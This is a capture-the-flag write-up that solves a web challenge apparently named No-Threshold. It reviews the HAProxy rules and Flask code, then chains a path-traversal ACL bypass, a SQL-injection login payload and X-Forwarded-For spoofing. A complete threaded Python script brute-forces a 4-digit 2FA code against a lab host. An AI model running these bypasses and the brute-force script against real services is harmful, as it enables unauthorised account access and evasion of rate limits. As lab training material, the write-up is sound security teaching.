Dockerfile
FROM alpine:edge
RUN apk update && apk upgrade && apk add --no-cache \
pcre \
pcre-dev \
make \
gcc \
musl-dev \
linux-headers \
python3 \
python3-dev \
py3-pip \
sqlite \
&& rm -rf /var/cache/apk/*
WORKDIR /tmp
RUN wget https://www.haproxy.org/download/2.8/src/haproxy-2.8.3.tar.gz && \
tar zxvf haproxy-*.tar.gz && \
cd haproxy-* && \
make TARGET=linux-musl && \
make install
RUN rm -rf /tmp/haproxy-*
RUN mkdir -p /etc/haproxy
RUN mkdir -p /opt/www/app
COPY conf/haproxy.cfg /etc/haproxy/haproxy.cfg
COPY conf/requirements.txt /opt/www/app
COPY conf/uwsgi.ini /opt/www/app
COPY challenge/. /opt/www/app
WORKDIR /opt/www/app
RUN python3 -m venv /venv
ENV PATH="/venv/bin:$PATH"
RUN pip install -I --no-cache-dir -r requirements.txt
RUN addgroup -S www-group && adduser -S -G www-group www-user && \
chown -R www-user:www-group /opt/www/
WORKDIR /
COPY entrypoint.sh .
RUN chown www-user:www-group entrypoint.sh
RUN chmod 600 entrypoint.sh
RUN chmod +x entrypoint.sh
USER www-user
EXPOSE 1337
CMD ["./entrypoint.sh"]
Ok so immidietly haproxy installation stands out. Usually challenges don't setup such tools if they don't play a major role in the exploitation. Hence next we should check its config
conf/haproxy.cfg
global
daemon
maxconn 256
defaults
mode http
option forwardfor
timeout connect 5000ms
timeout client 50000ms
timeout server 50000ms
frontend haproxy
bind 0.0.0.0:1337
default_backend backend
# Parse the X-Forwarded-For header value if it exists. If it doesn't exist, add the client's IP address to the X-Forwarded-For header.
http-request add-header X-Forwarded-For %[src] if !{ req.hdr(X-Forwarded-For) -m found }
# Apply rate limit on the /auth/verify-2fa route.
acl is_auth_verify_2fa path_beg,url_dec /auth/verify-2fa
# Checks for valid IPv4 address in X-Forwarded-For header and denies request if malformed IPv4 is found. (Application accepts IP addresses in the range from 0.0.0.0 to 255.255.255.255.)
acl valid_ipv4 req.hdr(X-Forwarded-For) -m reg ^([01]?[0-9][0-9]?|2[0-4][0-9]|25[0-5])\.([01]?[0-9][0-9]?|2[0-4][0-9]|25[0-5])\.([01]?[0-9][0-9]?|2[0-4][0-9]|25[0-5])\.([01]?[0-9][0-9]?|2[0-4][0-9]|25[0-5])$
http-request deny deny_status 400 if is_auth_verify_2fa !valid_ipv4
# Crate a stick-table to track the number of requests from a single IP address. (1min expire)
stick-table type ip size 100k expire 60s store http_req_rate(60s)
# Deny users that make more than 20 requests in a small timeframe.
http-request track-sc0 hdr(X-Forwarded-For) if is_auth_verify_2fa
http-request deny deny_status 429 if is_auth_verify_2fa { sc_http_req_rate(0) gt 20 }
# External users should be blocked from accessing routes under maintenance.
http-request deny if { path_beg /auth/login }
backend backend
balance roundrobin
server s1 0.0.0.0:8888 maxconn 32 check
From the above we can see that haproxy imposes 2 things
/auth/login
rate limit per valid ip
from the X-Forwarded-For HTTP header
for /auth/verify-2fa
We can think of 2 bypasses, the one being very obvious
/auth/verify-2fa
we can set a different ip on X-Forwarded-For
/auth/login
it is not as obvious, but it can be bypassed by requesting /../auth/login
, because flask will resolve it to /auth/login
, but haproxy will let it through as it doesn't start
with /auth/login
Let's have a look on what this 2FA thing is all about
login.py
from flask import Blueprint, render_template, request, jsonify, redirect
from app.database import *
import random
import string
import uwsgi
login_bp = Blueprint("login", __name__, template_folder="templates")
def set_2fa_code(d):
uwsgi.cache_del("2fa-code")
uwsgi.cache_set(
"2fa-code", "".join(random.choices(string.digits, k=d)), 300 # valid for 5 min
)
@login_bp.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
if not username or not password:
return render_template("public/login.html", error_message="Username or password is empty!"), 400
try:
user = query_db(
f"SELECT username, password FROM users WHERE username = '{username}' AND password = '{password}'",
one=True,
)
if user is None:
return render_template("public/login.html", error_message="Invalid username or password"), 400
set_2fa_code(4)
return redirect("/auth/verify-2fa")
finally:
close_db()
return render_template("public/login.html")
The vulnerability is so clear here, SQL injection, login as admin get to dashboard and flag! Unfortunately not so quick.
POST /auth/login HTTP/1.1
Host: 159.65.20.166:32693
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://159.65.20.166:32693/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
username=admin' --&password=pass
The above request will get blocked due to starting with /auth/login
, but lets apply or bypass
This inded works but we get redirected to /auth/verify-2fa
def set_2fa_code(d):
uwsgi.cache_del("2fa-code")
uwsgi.cache_set(
"2fa-code", "".join(random.choices(string.digits, k=d)), 300 # valid for 5 min
)
and then in login.py
set_2fa_code(4)
Ok as we have no rate limit, using our second bypass. Thus the title No-Threshold
, we can bruteforce it, only 4 characters
. Once we find it we can just get /dashboard
and fetch the flag. I wrote a small script to automate the bruteforcin, remember it must be fast enough to find the code in the 5m timeframe.
import threading
import queue
import httpx as requests
import random
BURP_HOST = "localhost"
BURP_PORT = 9000
# Check is proxy is working
if requests.get(f"http://{BURP_HOST}:{BURP_PORT}").status_code == 200:
proxies = {"http://": f"http://{BURP_HOST}:{BURP_PORT}", "https://": f"http://{BURP_HOST}:{BURP_PORT}"}
s = requests.Client(proxies=proxies, verify=False)
else:
s = requests.Client()
url = "http://159.65.20.166:32693"
def worker():
while True:
item = q.get()
random_ip = ".".join([str(random.randint(0, 255)) for _ in range(4)])
headers = {"X-Forwarded-For": random_ip}
r = s.post(f"{url}/auth/verify-2fa", headers=headers, data={"2fa-code": f"{item:04}"})
print(f"Trying 2fa code: {item:04} with ip: {random_ip}")
if r.status_code == 429:
print(f"Rate limited with ip: {random_ip}")
elif "Invalid 2FA Code!" not in r.text:
# print(r.text)
print(f"CORRECT 2fa code: {item:04}")
r = s.get(f"{url}/dashboard")
print(r.text)
q.task_done()
q = queue.Queue()
for i in range(10000):
q.put(i)
for i in range(50):
t = threading.Thread(target=worker)
t.daemon = True
t.start()
q.join()
python3 sol.py|grep HTB{
Then we can see the below message all over our terminal(Many threads)!
Welcome, here is your flag: <b> HTB{f4k3_fl4g_f0r_t3st1ng} </b>